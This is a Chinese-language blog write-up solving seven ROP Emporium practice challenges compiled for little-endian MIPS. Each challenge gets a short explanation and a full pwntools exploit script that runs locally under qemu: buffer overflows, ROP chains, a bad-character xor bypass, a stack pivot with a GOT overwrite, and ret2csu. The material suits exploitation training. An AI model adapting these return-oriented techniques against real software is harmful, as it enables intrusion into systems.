Rop Emporinm(MIPS)几道题的wp

与路由环境不同,这里所用到的是glibc,所以需要提前下载好相应的动态链接库

1
sudo apt install libc6-mipsel-cross

MIPS动态库中的外部符号调用,是依赖.got段和.MIPS.stubs段来共同实现的,.MIPS.stubs类似于x86的.plt

1.ret2win

直接找到函数ret2win地址去执行 system(“/bin/cat flag.txt”),输出flag

1
2
3
4
5
6
7
from pwn import*
elf = ELF('ret2win_mipsel')
p = process(['qemu-mipsel','-L','/usr/mipsel-linux-gnu','./ret2win_mipsel'])
context(arch='mips', os='linux', endian='little', log_level = 'debug')
payload = b'a' * 36 + p32(0x400a00)
p.sendlineafter(b'>', payload)
p.recvuntil(b'ROPE')

2.split

利用system的地址和flag.txt字符串的地址,输出flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import*
elf = ELF('split_mipsel')
p = process(['qemu-mipsel','-L','/usr/mipsel-linux-gnu','./split_mipsel'])
context(arch='mips', os='linux', endian='little', log_level = 'debug')

gadget = 0x400a20
#sys_addr = 0x400b70
sys_addr = 0x4009ec
cat_flag = 0x411010
payload = b'a' * 0x24 + p32(gadget) + b'a' * 4 + p32(sys_addr) +p32(cat_flag)

p.recvuntil(b'>')
p.sendline(payload)
p.recvuntil(b'\n')
p.recvuntil(b'ROPE')

3.callme

运行callme1,callme2,callme3函数,并传递正确的参数,在if语句中执行正确的分支,才会将flag输出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import*
elf = ELF('callme_mipsel')
p = process(['qemu-mipsel','-L','/usr/mipsel-linux-gnu','./callme_mipsel'])
context(arch='mips', os='linux', endian='little', log_level = 'debug')

key1 = 0xDEADBEEF
key2 = 0xCAFEBABE
key3 = 0xD00DF00D

gadget = 0x400bb0
callme_one = 0x400d20
callme_two = 0x400d80
callme_three = 0x400d10

payload = b'a' * 0x24 + p32(gadget) + b'a' * 4 + p32(callme_one) + p32(key3) + p32(key2) + p32(key1)
payload += p32(gadget) + b'a' * 4 + p32(callme_two) + p32(key3) + p32(key2) + p32(key1)
payload += p32(gadget) + b'a' * 4 + p32(callme_three) + p32(key3) + p32(key2) + p32(key1)
p.sendlineafter(b'>', payload)
p.recvuntil(b'ROPE')

4.write4

通过执行print_file函数,将print_file函数参数flag.txt写到data段或者bss段上,可输出flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import*
elf = ELF('write4_mipsel')
p = process(["qemu-mipsel",'-L','/usr/mipsel-linux-gnu',"write4_mipsel"])
context(arch='mips', os='linux', endian='little', log_level = 'debug')

gadget = 0x400930
print_file = 0x400a90
pwnme = 0x400a70
buf = 0x411000

payload = b'a' * 0x24 + p32(gadget) + b'aaaa' + b'flag' + p32(buf) + p32(pwnme)
p.sendlineafter(b'>', payload)
payload = b'a' * 0x24 + p32(gadget) + b'aaaa' + b'.txt' + p32(buf + 4) + p32(pwnme)
p.sendlineafter(b'>', payload)
payload = b'a' * 0x24 + p32(gadget + 0x18) + b'aaaa' + p32(print_file) + p32(buf)
p.sendlineafter(b'>', payload)
p.recvuntil(b'ROPE')

5.badchars

与write4一样,通过执行print_file函数,将print_file函数参数flag.txt写到data段或者bss段上,可输出flag

但会对字符串判断,如果字符串中’有x’,’g’,’a’,’.’这些字符就会赋值为-21,可以通过xor加密绕过判断,

然后xor还原。和x86不同的是MIPS需要地址对齐才能正常取出字符。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import*
elf = ELF('badchars_mipsel')
p = process(['qemu-mipsel','-L','/usr/mipsel-linux-gnu','./badchars_mipsel'])
context(arch='mips', os='linux', endian='little', log_level = 'debug')

gadget1 = 0x400930
gadget2 = 0x400948
gadget3 = 0x400968
buf = 0x411000

badchars = ['x','g','a','.']
new_flag = ""
xor_byte = 1
while 1:
output = ""
for i in "flag.txt":
c = ord(i) ^ xor_byte
c = chr(c)
if c in badchars:
xor_byte += 1
break
else:
output += c
if len(output) == 8:
new_flag = output
break
new_flag = bytes(new_flag.encode())

payload = b'a' * 36 + p32(gadget1) + p32(0) + new_flag[:4] + p32(buf) + p32(gadget1)
payload += p32(0) + new_flag[4:8] + p32(buf + 4) + p32(gadget2)
for i in range(4):
xor_b = xor_byte << (i * 8)
payload += p32(0) + p32(buf) + p32(xor_b) + p32(gadget2)
for i in range(3):
xor_b = xor_byte << (i * 8)
payload += p32(0) + p32(buf + 4) + p32(xor_b) + p32(gadget2)
payload += p32(0) + p32(buf + 4) + p32(xor_byte << 24) + p32(gadget3)
payload += p32(0) + p32(0x400ab0) + p32(buf)

p.sendafter(b'> ', payload)
p.recvuntil(b'ROPE')

7.pivot

溢出后利用栈迁移修改foothold_function函数got表的地址为ret2win的地址即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import*
elf = ELF('pivot_mipsel')
p = process(['qemu-mipsel','-L','/usr/mipsel-linux-gnu','./pivot_mipsel'])
context(arch='mips', os='linux', endian='little', log_level = 'debug')

gadget1 = 0x400ca0
gadget2 = 0x400cb0
gadget3 = 0x400cc4
gadget4 = 0x400cd0

foothold = 0x400e60
foothold_got = 0x412060

p.recvuntil(b'0x')
pivot_addr = int(p.recvuntil(b'\n', drop=True), 16)

payload1 = p32(0) + p32(0) + p32(gadget1) + p32(0) + p32(0x378) + p32(foothold)
payload1 += p32(0) + p32(foothold_got) + p32(gadget1) + p32(0) + p32(0x378) + p32(gadget3)
p.sendafter(b'>', payload1)

payload2 = b'a' * 32 + p32(pivot_addr) + p32(gadget4)
p.sendafter(b'>', payload2)
p.recvuntil(b'ROPE')

8.ret2csu

使用glibc编译的·MIPS架构程序同样拥有libc_csu_init段,所以使用ret2csu调用ret2win函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import*
elf = ELF('ret2csu_mipsel')
p = process(['qemu-mipsel','-L','/usr/mipsel-linux-gnu','./ret2csu_mipsel'])
context(arch='mips', os='linux', endian='little', log_level = 'debug')

gadget1 = 0x4009c0
gadget2 = 0x4009a0

key1 = 0xDEADBEEF
key2 = 0xCAFEBABE
key3 = 0xD00DF00D

payload = b'a' * 36 + p32(gadget1) + b'a' * 0x1c
payload += p32(0x411058)
payload += p32(0)
payload += p32(1)
payload += p32(key1)
payload += p32(key2)
payload += p32(key3)
payload += p32(gadget2)
payload += p32(0) * 7

p.sendafter(b'> ', payload)
p.recvuntil(b'ROPE')

Rop Emporinm(MIPS)几道题的wp
https://xtxtn.github.io/2022/11/11/Rop-Emporinm(MIPS)/
作者
xtxtn
发布于
2022年11月11日
更新于
2022年11月13日
许可协议